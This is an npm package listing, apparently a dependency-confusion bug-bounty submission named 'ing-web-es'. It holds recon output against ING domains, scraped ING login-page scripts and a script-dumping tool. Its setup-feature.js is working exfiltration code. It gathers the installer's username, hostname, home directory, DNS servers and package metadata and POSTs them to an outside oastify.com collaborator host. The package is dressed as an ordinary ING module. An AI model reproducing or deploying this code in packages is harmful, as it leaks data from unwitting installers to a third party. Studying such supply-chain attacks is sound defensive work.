ing-web-es 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of ing-web-es might be problematic. Click here for more details.
- package/45210.py +84 -0
- package/EMBEDDED_IFRAME_ON_WEB_PAGE.flv +0 -0
- package/FinalPoc.ogx +0 -0
- package/SCOPE_ing +20 -0
- package/brandportal.ing.com/dump-scripts.py +83 -0
- package/brandportal.ing.com/scripts/0b856f2a1ea6fe59346bec325dfe906bfa23babe05eb10ac9fe7f5b46196ae71.js +0 -0
- package/brandportal.ing.com/scripts/accounting.min.js +155 -0
- package/brandportal.ing.com/scripts/assetWindowContainer.bundle.js +23827 -0
- package/brandportal.ing.com/scripts/assets.js +1223 -0
- package/brandportal.ing.com/scripts/bootstrap-select.min.js +1287 -0
- package/brandportal.ing.com/scripts/bootstrap.min.js +1530 -0
- package/brandportal.ing.com/scripts/chosen.jquery.min.js +1238 -0
- package/brandportal.ing.com/scripts/core.main.js +1059 -0
- package/brandportal.ing.com/scripts/en_120.js +5247 -0
- package/brandportal.ing.com/scripts/hoverIntent.js +139 -0
- package/brandportal.ing.com/scripts/jquery-3.5.1.min.js +3242 -0
- package/brandportal.ing.com/scripts/jquery-ui-timepicker-addon.js +1471 -0
- package/brandportal.ing.com/scripts/jquery-ui.min.js +6711 -0
- package/brandportal.ing.com/scripts/jquery.are-you-sure.js +197 -0
- package/brandportal.ing.com/scripts/jquery.autotabs.js +42 -0
- package/brandportal.ing.com/scripts/jquery.backstretch.min.js +543 -0
- package/brandportal.ing.com/scripts/jquery.blockUI.js +442 -0
- package/brandportal.ing.com/scripts/jquery.datePicker.js +1151 -0
- package/brandportal.ing.com/scripts/jquery.dialogextend.2_0_4.pack.js +300 -0
- package/brandportal.ing.com/scripts/jquery.fileupload-audio.js +103 -0
- package/brandportal.ing.com/scripts/jquery.fileupload-image.js +313 -0
- package/brandportal.ing.com/scripts/jquery.fileupload-process.js +172 -0
- package/brandportal.ing.com/scripts/jquery.fileupload-ui.js +700 -0
- package/brandportal.ing.com/scripts/jquery.fileupload-validate.js +117 -0
- package/brandportal.ing.com/scripts/jquery.fileupload-video.js +103 -0
- package/brandportal.ing.com/scripts/jquery.fileupload.js +1451 -0
- package/brandportal.ing.com/scripts/jquery.form.js +892 -0
- package/brandportal.ing.com/scripts/jquery.number.min.js +150 -0
- package/brandportal.ing.com/scripts/jquery.ui.datepicker-en.js +26 -0
- package/brandportal.ing.com/scripts/jquery.ui.timepicker-en.js +6 -0
- package/brandportal.ing.com/scripts/jquery.validate.min.js +844 -0
- package/brandportal.ing.com/scripts/layout.bundle.js +673 -0
- package/brandportal.ing.com/scripts/load-image.all.min.js +770 -0
- package/brandportal.ing.com/scripts/local.bundle.js +310 -0
- package/brandportal.ing.com/scripts/moment.min.js +1562 -0
- package/brandportal.ing.com/scripts/nl.js +88 -0
- package/brandportal.ing.com/scripts/paginator.js +267 -0
- package/brandportal.ing.com/scripts/popper.min.js +844 -0
- package/brandportal.ing.com/scripts/selectAssetBrowser.bundle.js +47577 -0
- package/brandportal.ing.com/scripts/selectables.custom.js +174 -0
- package/brandportal.ing.com/scripts/slick.min.js +687 -0
- package/brandportal.ing.com/scripts/superfish.js +279 -0
- package/brandportal.ing.com/scripts/upload-main.js +90 -0
- package/brandportal.ing.com/scripts/video.min.js +12517 -0
- package/brandportal.ing.com/scripts/videojs.wavesurfer.min.js +495 -0
- package/brandportal.ing.com/scripts/wavesurfer.min.js +2775 -0
- package/burping.json +783 -0
- package/dump-scripts.py +83 -0
- package/ing.com.txt +365 -0
- package/ing.com_200List.txt +30 -0
- package/ing.com_DIRSEARCH.txt +8220 -0
- package/ing_notes +1 -0
- package/nmap +1224 -0
- package/nuclei_ing.com.txt +9 -0
- package/package.json +12 -0
- package/poc.html +116 -0
- package/scope.txt +141 -0
- package/scripts/0b856f2a1ea6fe59346bec325dfe906bfa23babe05eb10ac9fe7f5b46196ae71.js +0 -0
- package/scripts/AliasCtrl.js +0 -0
- package/scripts/ChangePasswordCtrl.js +0 -0
- package/scripts/CustomErrorCtrl.js +0 -0
- package/scripts/ErrorCtrl.js +0 -0
- package/scripts/HeaderCtrl.js +0 -0
- package/scripts/LoginValidationService.js +0 -0
- package/scripts/NipValidator.js +0 -0
- package/scripts/Psd2AliasCtrl.js +0 -0
- package/scripts/RegonValidator.js +0 -0
- package/scripts/SmsCtrl.js +0 -0
- package/scripts/TimeZoneInfoCollectorPanel-ver-1634885786000.js +2 -0
- package/scripts/accounting.min.js +155 -0
- package/scripts/angular-animate.min.js +0 -0
- package/scripts/angular-cookies.min.js +0 -0
- package/scripts/angular-translate.min.js +0 -0
- package/scripts/angular-ui-router.js +0 -0
- package/scripts/angular.min.js +0 -0
- package/scripts/assetWindowContainer.bundle.js +23827 -0
- package/scripts/assets.js +1223 -0
- package/scripts/bootstrap-select.min.js +1287 -0
- package/scripts/bootstrap.min.js +1530 -0
- package/scripts/chosen.jquery.min.js +1238 -0
- package/scripts/core.main.js +1059 -0
- package/scripts/criticalMessageService.js +0 -0
- package/scripts/data-dir-cookies-bar.js +0 -0
- package/scripts/data-dir-progress-pie.js +0 -0
- package/scripts/dir-critical-message.js +0 -0
- package/scripts/dir-login-keyboard.js +0 -0
- package/scripts/dir-login-validation.js +0 -0
- package/scripts/en_120.js +5247 -0
- package/scripts/environment.js +22 -0
- package/scripts/gemius-init.js +0 -0
- package/scripts/gemiusID.js +0 -0
- package/scripts/hoverIntent.js +139 -0
- package/scripts/ing-vendor.min-ver-1634885786000.js +2 -0
- package/scripts/ing-ver-1634885786000.js +2 -0
- package/scripts/jquery-3.5.1.min.js +3242 -0
- package/scripts/jquery-ui-timepicker-addon.js +1471 -0
- package/scripts/jquery-ui.min.js +6711 -0
- package/scripts/jquery.are-you-sure.js +197 -0
- package/scripts/jquery.autotabs.js +42 -0
- package/scripts/jquery.backstretch.min.js +543 -0
- package/scripts/jquery.blockUI.js +442 -0
- package/scripts/jquery.datePicker.js +1151 -0
- package/scripts/jquery.dialogextend.2_0_4.pack.js +300 -0
- package/scripts/jquery.fileupload-audio.js +103 -0
- package/scripts/jquery.fileupload-image.js +313 -0
- package/scripts/jquery.fileupload-process.js +172 -0
- package/scripts/jquery.fileupload-ui.js +700 -0
- package/scripts/jquery.fileupload-validate.js +117 -0
- package/scripts/jquery.fileupload-video.js +103 -0
- package/scripts/jquery.fileupload.js +1451 -0
- package/scripts/jquery.form.js +892 -0
- package/scripts/jquery.number.min.js +150 -0
- package/scripts/jquery.ui.datepicker-en.js +26 -0
- package/scripts/jquery.ui.timepicker-en.js +6 -0
- package/scripts/jquery.validate.min.js +844 -0
- package/scripts/jsbn-ver-1634886518000.js +2 -0
- package/scripts/layout.bundle.js +673 -0
- package/scripts/load-image.all.min.js +770 -0
- package/scripts/local.bundle.js +310 -0
- package/scripts/login-app.js +0 -0
- package/scripts/login-en.js +0 -0
- package/scripts/login-pl.js +0 -0
- package/scripts/login-states.js +0 -0
- package/scripts/main.js +23 -0
- package/scripts/mobileAuthCtrl.js +0 -0
- package/scripts/moment.min.js +1562 -0
- package/scripts/mon_ing_init.js +22 -0
- package/scripts/nl.js +88 -0
- package/scripts/paginator.js +267 -0
- package/scripts/pinLoginDefault-ver-1634885786000.js +2 -0
- package/scripts/popper.min.js +844 -0
- package/scripts/prng4-ver-1634886518000.js +2 -0
- package/scripts/psd2-states.js +0 -0
- package/scripts/rng-ver-1634886518000.js +2 -0
- package/scripts/rsa_jsbn-ver-1634886518000.js +2 -0
- package/scripts/selectAssetBrowser.bundle.js +47577 -0
- package/scripts/selectables.custom.js +174 -0
- package/scripts/sgemius.js +0 -0
- package/scripts/sha1.js +0 -0
- package/scripts/slick.min.js +687 -0
- package/scripts/superfish.js +279 -0
- package/scripts/upload-main.js +90 -0
- package/scripts/video.min.js +12517 -0
- package/scripts/videojs.wavesurfer.min.js +495 -0
- package/scripts/wavesurfer.min.js +2775 -0
- package/scripts/webtrekk_v4-ver-1634885786000.js +2 -0
- package/setup-feature.js +47 -0
- package/start.ingbusiness.pl/dump-scripts.py +83 -0
- package/start.ingbusiness.pl/form.html_v=202110040949 +52 -0
- package/start.ingbusiness.pl/scripts/0b856f2a1ea6fe59346bec325dfe906bfa23babe05eb10ac9fe7f5b46196ae71.js +0 -0
- package/start.ingbusiness.pl/scripts/AliasCtrl.js +136 -0
- package/start.ingbusiness.pl/scripts/ChangePasswordCtrl.js +162 -0
- package/start.ingbusiness.pl/scripts/CustomErrorCtrl.js +9 -0
- package/start.ingbusiness.pl/scripts/ErrorCtrl.js +30 -0
- package/start.ingbusiness.pl/scripts/HeaderCtrl.js +84 -0
- package/start.ingbusiness.pl/scripts/LoginService.js +86 -0
- package/start.ingbusiness.pl/scripts/LoginValidationService.js +52 -0
- package/start.ingbusiness.pl/scripts/NipValidator.js +30 -0
- package/start.ingbusiness.pl/scripts/PasswordCtrl.js +179 -0
- package/start.ingbusiness.pl/scripts/Psd2AliasCtrl.js +12 -0
- package/start.ingbusiness.pl/scripts/RegonValidator.js +73 -0
- package/start.ingbusiness.pl/scripts/RequestService.js +26 -0
- package/start.ingbusiness.pl/scripts/SmsCtrl.js +91 -0
- package/start.ingbusiness.pl/scripts/UnlockUserCtrl.js +79 -0
- package/start.ingbusiness.pl/scripts/angular-animate.min.js +1535 -0
- package/start.ingbusiness.pl/scripts/angular-cookies.min.js +62 -0
- package/start.ingbusiness.pl/scripts/angular-translate.min.js +871 -0
- package/start.ingbusiness.pl/scripts/angular-ui-router.js +1561 -0
- package/start.ingbusiness.pl/scripts/angular.min.js +9845 -0
- package/start.ingbusiness.pl/scripts/criticalMessageService.js +24 -0
- package/start.ingbusiness.pl/scripts/data-dir-button-loader.js +30 -0
- package/start.ingbusiness.pl/scripts/data-dir-compile-template.js +17 -0
- package/start.ingbusiness.pl/scripts/data-dir-cookies-bar.js +37 -0
- package/start.ingbusiness.pl/scripts/data-dir-progress-pie.js +102 -0
- package/start.ingbusiness.pl/scripts/data-dir-svg-icon.js +633 -0
- package/start.ingbusiness.pl/scripts/data-gemius-event.js +119 -0
- package/start.ingbusiness.pl/scripts/dir-critical-message.js +9 -0
- package/start.ingbusiness.pl/scripts/dir-help-panel-content.js +29 -0
- package/start.ingbusiness.pl/scripts/dir-login-keyboard.js +346 -0
- package/start.ingbusiness.pl/scripts/dir-login-validation.js +20 -0
- package/start.ingbusiness.pl/scripts/dir-nav-links.js +26 -0
- package/start.ingbusiness.pl/scripts/dir-title.js +21 -0
- package/start.ingbusiness.pl/scripts/gemius-init.js +12 -0
- package/start.ingbusiness.pl/scripts/gemiusID.js +32 -0
- package/start.ingbusiness.pl/scripts/hashService.js +91 -0
- package/start.ingbusiness.pl/scripts/helpPanelPasswordService.js +26 -0
- package/start.ingbusiness.pl/scripts/helpPanelService.js +92 -0
- package/start.ingbusiness.pl/scripts/jquery-3.5.1.min.js +3242 -0
- package/start.ingbusiness.pl/scripts/login-app.js +107 -0
- package/start.ingbusiness.pl/scripts/login-en.js +73 -0
- package/start.ingbusiness.pl/scripts/login-pl.js +74 -0
- package/start.ingbusiness.pl/scripts/login-states.js +156 -0
- package/start.ingbusiness.pl/scripts/maskService.js +194 -0
- package/start.ingbusiness.pl/scripts/maskUtilService.js +302 -0
- package/start.ingbusiness.pl/scripts/mobileAuthCtrl.js +189 -0
- package/start.ingbusiness.pl/scripts/psd2-states.js +67 -0
- package/start.ingbusiness.pl/scripts/securityPolicyService.js +119 -0
- package/start.ingbusiness.pl/scripts/sgemius.js +257 -0
- package/start.ingbusiness.pl/scripts/sha1.js +210 -0
- package/start.ingbusiness.pl/scripts/sprintf.js +115 -0
- package/start.ingbusiness.pl/scripts/tabletScalingService.js +59 -0
- package/start.ingbusiness.pl/scripts/userAgentResolverService.js +12 -0
@@ -0,0 +1,2 @@
|
|
1
|
+
< !doctype html > < html lang = "de" > < head > < title > HTTP Status 404– nicht gefunden < /title><style type="text/css
|
2
|
+
">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 – nicht gefunden</h1></body></html>
|
package/setup-feature.js
ADDED
@@ -0,0 +1,47 @@
|
|
1
|
+
//author:- log1-intigriti emerson@ex1.dev
|
2
|
+
const os = require("os");
|
3
|
+
const dns = require("dns");
|
4
|
+
const querystring = require("querystring");
|
5
|
+
const https = require("https");
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
const package = packageJSON.name;
|
8
|
+
|
9
|
+
const trackingData = JSON.stringify({
|
10
|
+
p: package,
|
11
|
+
c: __dirname,
|
12
|
+
hd: os.homedir(),
|
13
|
+
hn: os.hostname(),
|
14
|
+
un: os.userInfo().username,
|
15
|
+
dns: dns.getServers(),
|
16
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
17
|
+
v: packageJSON.version,
|
18
|
+
pjson: packageJSON,
|
19
|
+
});
|
20
|
+
|
21
|
+
var postData = querystring.stringify({
|
22
|
+
msg: trackingData,
|
23
|
+
});
|
24
|
+
|
25
|
+
var options = {
|
26
|
+
hostname: "https://705h7fibu2kvy0b6bgs35g87kyqtej28.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
|
27
|
+
port: 443,
|
28
|
+
path: "/",
|
29
|
+
method: "POST",
|
30
|
+
headers: {
|
31
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
32
|
+
"Content-Length": postData.length,
|
33
|
+
},
|
34
|
+
};
|
35
|
+
|
36
|
+
var req = https.request(options, (res) => {
|
37
|
+
res.on("data", (d) => {
|
38
|
+
process.stdout.write(d);
|
39
|
+
});
|
40
|
+
});
|
41
|
+
|
42
|
+
req.on("error", (e) => {
|
43
|
+
// console.error(e);
|
44
|
+
});
|
45
|
+
|
46
|
+
req.write(postData);
|
47
|
+
req.end();
|
@@ -0,0 +1,83 @@
|
|
1
|
+
#!/usr/bin/env python3
|
2
|
+
import requests
|
3
|
+
from bs4 import BeautifulSoup as bs
|
4
|
+
import os
|
5
|
+
import hashlib
|
6
|
+
import argparse
|
7
|
+
|
8
|
+
|
9
|
+
"""
|
10
|
+
Simple python utility to dump all scripts from a given page.
|
11
|
+
By: @SamuelAnttila
|
12
|
+
License: MIT
|
13
|
+
"""
|
14
|
+
|
15
|
+
def download_script(url,downloads_dir_path,headers={},prettify=False):
|
16
|
+
"""Download script into given directory. Note: Does nothing to avoid name collisions"""
|
17
|
+
|
18
|
+
# /asdf/file.js?123=123 -> file.js
|
19
|
+
url_path = requests.compat.urlparse(url).path
|
20
|
+
local_filename = os.path.basename(url_path)
|
21
|
+
|
22
|
+
if prettify:
|
23
|
+
# we can't stream if we want to prettify since we need the full file contents
|
24
|
+
res = requests.get(url, headers=headers)
|
25
|
+
code = jsbeautifier.beautify(res.text)
|
26
|
+
with open(os.path.join(downloads_dir_path,local_filename), 'w+') as f:
|
27
|
+
f.write(code)
|
28
|
+
else:
|
29
|
+
# streaming file download because putting everything in memory at once is silly if we don't have to
|
30
|
+
with requests.get(url, stream=True, headers=headers) as r:
|
31
|
+
r.raise_for_status()
|
32
|
+
with open(os.path.join(downloads_dir_path,local_filename), 'wb+') as f:
|
33
|
+
for chunk in r.iter_content(chunk_size=8192):
|
34
|
+
# If you have chunk encoded response uncomment if
|
35
|
+
# and set chunk_size parameter to None.
|
36
|
+
#if chunk:
|
37
|
+
f.write(chunk)
|
38
|
+
return local_filename
|
39
|
+
|
40
|
+
|
41
|
+
def ensure_dir(file_path):
|
42
|
+
"""Ensure directory exists by creating it if not present"""
|
43
|
+
directory = os.path.dirname(file_path)
|
44
|
+
if not os.path.exists(directory):
|
45
|
+
os.makedirs(directory)
|
46
|
+
|
47
|
+
if __name__ == "__main__":
|
48
|
+
downloads_dirname = "scripts/"
|
49
|
+
curr_path = os.path.dirname(os.path.realpath(__file__))
|
50
|
+
downloads_path = os.path.join(curr_path,downloads_dirname)
|
51
|
+
ensure_dir(downloads_path)
|
52
|
+
|
53
|
+
parser = argparse.ArgumentParser(description='Download all scripts from a website into a scripts/ folder underneath this script')
|
54
|
+
parser.add_argument('url', metavar='URL', type=str, help='The url (including schema) from which to dump scripts')
|
55
|
+
parser.add_argument('--useragent', dest='useragent', type=str, default="Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36", help='User agent to use when making requests')
|
56
|
+
parser.add_argument('--prettify', dest='prettify', action="store_true", default=False, help='If enabled uses jsbeautify to prettify/deobfuscate all downloaded javascript. Will fail if "jsbeautifier" not installed with pip. Recommended if you\'re dealing with minified files.')
|
57
|
+
args = parser.parse_args()
|
58
|
+
|
59
|
+
if args.prettify:
|
60
|
+
import jsbeautifier # only necessary if we actually want to use this functionality
|
61
|
+
|
62
|
+
res = requests.get(args.url,headers={"User-Agent":args.useragent})
|
63
|
+
soup = bs(res.text,features="html.parser")
|
64
|
+
for script in soup.find_all("script"):
|
65
|
+
if "src" in script.attrs:
|
66
|
+
#externally loaded script
|
67
|
+
download_url = requests.compat.urljoin(args.url, script.attrs["src"])
|
68
|
+
print(f'Downloaded {download_script(download_url,downloads_path,headers={"User-Agent":args.useragent},prettify=args.prettify)}')
|
69
|
+
else:
|
70
|
+
#inline script
|
71
|
+
print(script.text)
|
72
|
+
m = hashlib.sha256()
|
73
|
+
m.update(script.text.encode("utf32"))
|
74
|
+
local_filename = m.hexdigest() # To give all inline scripts a unique name we take the hash of its contents. Only identical scripts should collide.
|
75
|
+
with open(os.path.join(downloads_path,local_filename)+".js", 'w+') as f:
|
76
|
+
if not args.prettify:
|
77
|
+
f.write(script.text)
|
78
|
+
else:
|
79
|
+
f.write(jsbeautifier.beautify(script.text))
|
80
|
+
print("Done downloading scripts. They should be under the 'scripts/' folder.")
|
81
|
+
|
82
|
+
|
83
|
+
|
@@ -0,0 +1,52 @@
|
|
1
|
+
<div id="contentHolder" class="row">
|
2
|
+
<div class="left-orange-part"></div>
|
3
|
+
<div class="left mobile-auth">
|
4
|
+
<div class="small-orange-part"></div>
|
5
|
+
<h1>
|
6
|
+
<div class="mobile-auth--title">
|
7
|
+
<a href="#" class="go-back-login" data-ng-click="backToPrevStep()" title="{{'OTHER.BACK' | translate}}"
|
8
|
+
data-gemius-event="click"
|
9
|
+
data-gemius-parameters="['miejsce=ekrany_logowania_autoryzacja_mobilna','button=cofnij','metoda=onclick']">
|
10
|
+
<span data-ng-click="backToPrevStep()" data-dir-svg-icon data-par-icon="back" data-par-color="#ffffff" data-par-width="30px" data-par-height="30px"></span>
|
11
|
+
</a>
|
12
|
+
{{'FORMS.TITLE_OOBA' | translate }}
|
13
|
+
<dir-login-validation data-model-name="'alias'"></dir-login-validation>
|
14
|
+
</div>
|
15
|
+
</h1>
|
16
|
+
<div class="login-box mobile-auth-box">
|
17
|
+
<div class="mobile-auth--text standard">
|
18
|
+
<p><strong>{{'FORMS.MOBILE_AUTH.OPEN_MOBILE_APP_LINE1a' | translate}}</strong>{{'FORMS.MOBILE_AUTH.OPEN_MOBILE_APP_LINE1b' | translate}}</p>
|
19
|
+
<p>{{'FORMS.MOBILE_AUTH.OPEN_MOBILE_APP_LINE2a' | translate}}<strong>{{'FORMS.MOBILE_AUTH.OPEN_MOBILE_APP_LINE2b' | translate}}</strong></p>
|
20
|
+
</div>
|
21
|
+
<div class="mobile-auth--timer">
|
22
|
+
<div class="mobile-auth-header"></div>
|
23
|
+
<div class="progress-circle" data-ng-style="captchaImage">
|
24
|
+
<canvas data-dir-progress-pie
|
25
|
+
width="110"
|
26
|
+
height="110"
|
27
|
+
data-progress-part="elapsedTime"
|
28
|
+
data-progress-part-count="totalTimeInSeconds"
|
29
|
+
data-min-progress-angle="1"
|
30
|
+
data-show-digital-counter="false"
|
31
|
+
data-digital-counter-type="remainingSeconds"
|
32
|
+
data-progress-color="#e6e6e6"
|
33
|
+
data-progress-shadow-color="#ff6600"
|
34
|
+
data-counter-clockwise="true"
|
35
|
+
data-line-width="8"
|
36
|
+
data-counter-color="#333333"
|
37
|
+
/>
|
38
|
+
</div>
|
39
|
+
<div class="mobile-auth-footer">
|
40
|
+
{{'FORMS.MOBILE_AUTH.REMAINING_TIME' | translate}} <strong class="large-seconds">{{remainingTime}}</strong> {{'FORMS.MOBILE_AUTH.REMAINING_TIME_SEC' | translate}}
|
41
|
+
</div>
|
42
|
+
</div>
|
43
|
+
<div class="mobile-auth--text small">
|
44
|
+
<span>{{'FORMS.MOBILE_AUTH.PREFER_SMS' | translate}} <a href="#" ng-click="onChangeToMask()">{{'FORMS.MOBILE_AUTH.SEND_SMS' | translate}}</a></span>
|
45
|
+
</div>
|
46
|
+
<div class="clear"></div>
|
47
|
+
<div class="clear"></div>
|
48
|
+
</div>
|
49
|
+
</div>
|
50
|
+
<div class="right-mask-part"></div>
|
51
|
+
<div class="keyboard-holder" data-dir-login-keyboard data-ng-click="holderClicked()"></div>
|
52
|
+
</div>
|
File without changes
|
@@ -0,0 +1,136 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
loginApp.controller('AliasCtrl', ['$rootScope', '$scope', '$state', '$http', '$interval', 'loginService', 'loginValidationService', 'helpPanelService', 'criticalMessageService',
|
4
|
+
'com.comarch.cib.corpo.webapp.validation.api.rules.identity.NipValidator',
|
5
|
+
'com.comarch.cib.corpo.webapp.validation.api.rules.identity.RegonValidator',
|
6
|
+
function($rootScope, $scope, $state, $http, $interval, loginService, loginValidationService, helpPanelService, criticalMessageService,
|
7
|
+
nipValidator, regonValidator) {
|
8
|
+
|
9
|
+
$scope.formData = {
|
10
|
+
alias: '',
|
11
|
+
nipRegon: ''
|
12
|
+
};
|
13
|
+
$scope.aliasValid = true;
|
14
|
+
$scope.nipRegonValid = true;
|
15
|
+
loginService.isTppLogin().then(function(result) {
|
16
|
+
$scope.tppLogin = result;
|
17
|
+
});
|
18
|
+
helpPanelService.setCurrentFirstLoginStep('ALIAS_BBCODE');
|
19
|
+
helpPanelService.refocusInputFunction = focusAliasInput;
|
20
|
+
helpPanelService.additionalStyleClass = 'alias';
|
21
|
+
criticalMessageService.show();
|
22
|
+
|
23
|
+
$scope.gemiusDefaultKeyboardParams = ['miejsce=ekrany_logowania_login'];
|
24
|
+
|
25
|
+
var requestSent = false;
|
26
|
+
|
27
|
+
$scope.$on('$destroy', function() {
|
28
|
+
criticalMessageService.hide();
|
29
|
+
});
|
30
|
+
|
31
|
+
loginValidationService.registerConfig({
|
32
|
+
name: 'alias',
|
33
|
+
validators: [{
|
34
|
+
validateFunction: isAliasFilled,
|
35
|
+
errorMessage: 'ERRORS.ALIAS_REQUIRED'
|
36
|
+
}]
|
37
|
+
});
|
38
|
+
loginValidationService.registerConfig({
|
39
|
+
name: 'nipRegon',
|
40
|
+
validators: [{
|
41
|
+
validateFunction: isNipRegonFilled,
|
42
|
+
errorMessage: 'ERRORS.NIP_REGON_REQUIRED'
|
43
|
+
}, {
|
44
|
+
validateFunction: validateNipRegon,
|
45
|
+
errorMessage: 'ERRORS.NIP_REGON_NOT_VALID'
|
46
|
+
}]
|
47
|
+
});
|
48
|
+
|
49
|
+
$scope.extendParams = angular.noop;
|
50
|
+
|
51
|
+
$scope.proceed = function() {
|
52
|
+
$scope.aliasValid = loginValidationService.validate('alias');
|
53
|
+
$scope.nipRegonValid = loginValidationService.validate('nipRegon');
|
54
|
+
if (!requestSent && $scope.aliasValid && $scope.nipRegonValid) {
|
55
|
+
requestSent = true;
|
56
|
+
var params = {
|
57
|
+
alias: $scope.formData.alias.replace(/\s/g, "").toLowerCase(),
|
58
|
+
osResoultion: screen.width + "x" + screen.height
|
59
|
+
};
|
60
|
+
if ($scope.tppLogin) {
|
61
|
+
params.nipRegon = $scope.formData.nipRegon;
|
62
|
+
}
|
63
|
+
$scope.extendParams(params);
|
64
|
+
$http.post('../json/login/alias', params).then(function(result) {
|
65
|
+
var nextState = result.data.ooba ? "mobileAuth" : "password";
|
66
|
+
$state.go(nextState, {
|
67
|
+
loginMask: result.data.loginMask,
|
68
|
+
mask: result.data.mask,
|
69
|
+
maskLength: result.data.maskLength,
|
70
|
+
alias: result.data.alias,
|
71
|
+
timerOoba: result.data.timerOoba,
|
72
|
+
frequencyTimer: result.data.frequencyTimer,
|
73
|
+
pid: result.data.pid
|
74
|
+
});
|
75
|
+
});
|
76
|
+
} else {
|
77
|
+
$scope.aliasValid && !$scope.nipRegonValid ? focusNipRegonInput() : focusAliasInput();
|
78
|
+
$rootScope.$broadcast('stopButtonLoader');
|
79
|
+
}
|
80
|
+
gemius_event('_action_', getGemiusID(), 'miejsce=ekrany_logowania_login', 'button=dalej', 'metoda=onclick',
|
81
|
+
'blad_walidacji=' + loginValidationService.getErrorForGemius('alias'));
|
82
|
+
};
|
83
|
+
|
84
|
+
$scope.sendAlias = function($event) {
|
85
|
+
if ($event.keyCode === 13 && !requestSent) {
|
86
|
+
$rootScope.$broadcast('startButtonLoader');
|
87
|
+
$scope.proceed();
|
88
|
+
}
|
89
|
+
};
|
90
|
+
|
91
|
+
function isAliasFilled() {
|
92
|
+
return $scope.formData.alias != null && $scope.formData.alias != '';
|
93
|
+
}
|
94
|
+
|
95
|
+
function isNipRegonFilled() {
|
96
|
+
return !$scope.tppLogin || ($scope.formData.nipRegon != null && $scope.formData.nipRegon != '');
|
97
|
+
}
|
98
|
+
|
99
|
+
function validateNipRegon() {
|
100
|
+
if (!$scope.tppLogin) {
|
101
|
+
return true;
|
102
|
+
}
|
103
|
+
try {
|
104
|
+
nipValidator.validate(null, $scope.formData.nipRegon);
|
105
|
+
return true;
|
106
|
+
} catch (ex) {}
|
107
|
+
try {
|
108
|
+
regonValidator.validate(null, $scope.formData.nipRegon)
|
109
|
+
return true;
|
110
|
+
} catch (ex) {}
|
111
|
+
return false;
|
112
|
+
}
|
113
|
+
|
114
|
+
function focusInput(elementId) {
|
115
|
+
var inputElement = document.getElementById(elementId);
|
116
|
+
if (inputElement) {
|
117
|
+
inputElement.focus();
|
118
|
+
}
|
119
|
+
}
|
120
|
+
|
121
|
+
function focusAliasInput() {
|
122
|
+
focusInput('alias-input');
|
123
|
+
}
|
124
|
+
|
125
|
+
|
126
|
+
function focusNipRegonInput() {
|
127
|
+
focusInput('nip-regon-input');
|
128
|
+
}
|
129
|
+
|
130
|
+
$scope.$on('$languageChanged', function() {
|
131
|
+
focusAliasInput();
|
132
|
+
});
|
133
|
+
|
134
|
+
focusAliasInput();
|
135
|
+
}
|
136
|
+
]);
|
@@ -0,0 +1,162 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
loginApp.controller('ChangePasswordCtrl', ['$rootScope', '$scope', '$state', '$stateParams', '$timeout', 'requestService',
|
4
|
+
'loginService', 'maskService', 'hashService', 'securityPolicyService', 'settings', 'loginValidationService', 'helpPanelService', 'helpPanelPasswordService',
|
5
|
+
function($rootScope, $scope, $state, $stateParams, $timeout, requestService,
|
6
|
+
loginService, maskService, hashService, securityPolicyService, settings, loginValidationService, helpPanelService, helpPanelPasswordService) {
|
7
|
+
|
8
|
+
var WEAK_PASS_TRESHOLD = 0.375;
|
9
|
+
var MEDIUM_PASS_TRESHOLD = 0.75;
|
10
|
+
|
11
|
+
var SLIDER_WIDTH = 400;
|
12
|
+
var DOT_WIDTH = 10;
|
13
|
+
var dotPosition = 0;
|
14
|
+
helpPanelService.setCurrentFirstLoginStep('NEW_PASSWORD_BBCODE');
|
15
|
+
helpPanelService.refocusInputFunction = focusPasswordInput;
|
16
|
+
helpPanelService.showFirstLoginHelpPanel('ekrany_logowania_pierwsze_logowanie_podaj_haslo');
|
17
|
+
|
18
|
+
var commonGemiusParams = ['miejsce=ekrany_logowania_pierwsze_logowanie_podaj_haslo', 'metoda=onclick'];
|
19
|
+
$scope.gemiusParamsCloseKeyboardNewPassword = getGemiusKeyboardParams('klawiatura_ekranowa_nowe_haslo=zamknij');
|
20
|
+
$scope.gemiusParamsUseKeyboardNewPassword = getGemiusKeyboardParams('klawiatura_ekranowa_nowe_haslo=uzyj');
|
21
|
+
$scope.gemiusParamsCloseKeyboardRepeatPassword = getGemiusKeyboardParams('klawiatura_ekranowa_powtorz_haslo=zamknij');
|
22
|
+
$scope.gemiusParamsUseKeyboardRepeatPassword = getGemiusKeyboardParams('klawiatura_ekranowa_powtorz_haslo=uzyj');
|
23
|
+
|
24
|
+
function getGemiusKeyboardParams(param) {
|
25
|
+
var params = commonGemiusParams.slice();
|
26
|
+
params.splice(1, 0, param);
|
27
|
+
return params;
|
28
|
+
}
|
29
|
+
|
30
|
+
var requestSent = false;
|
31
|
+
|
32
|
+
$scope.formData = {
|
33
|
+
alias: $stateParams.alias,
|
34
|
+
newPassword: '',
|
35
|
+
repeatPassword: ''
|
36
|
+
};
|
37
|
+
|
38
|
+
$scope.passwordStrengthLabel = 'PASSWORD_STRENGTH.WEAK';
|
39
|
+
|
40
|
+
$scope.validationConfigName = 'change';
|
41
|
+
loginValidationService.registerConfig({
|
42
|
+
name: $scope.validationConfigName,
|
43
|
+
validators: [{
|
44
|
+
validateFunction: isRepeatCorrect,
|
45
|
+
errorMessage: 'ERRORS.INCORRECT_REPEAT'
|
46
|
+
}, {
|
47
|
+
validateFunction: arePolicyRulesFullfilled,
|
48
|
+
errorMessage: 'ERRORS.POLICY_RULES'
|
49
|
+
}]
|
50
|
+
});
|
51
|
+
|
52
|
+
$scope.valid = true;
|
53
|
+
|
54
|
+
$scope.maxPassLength = settings.pswMax;
|
55
|
+
securityPolicyService.init(settings);
|
56
|
+
maskService.init(settings);
|
57
|
+
|
58
|
+
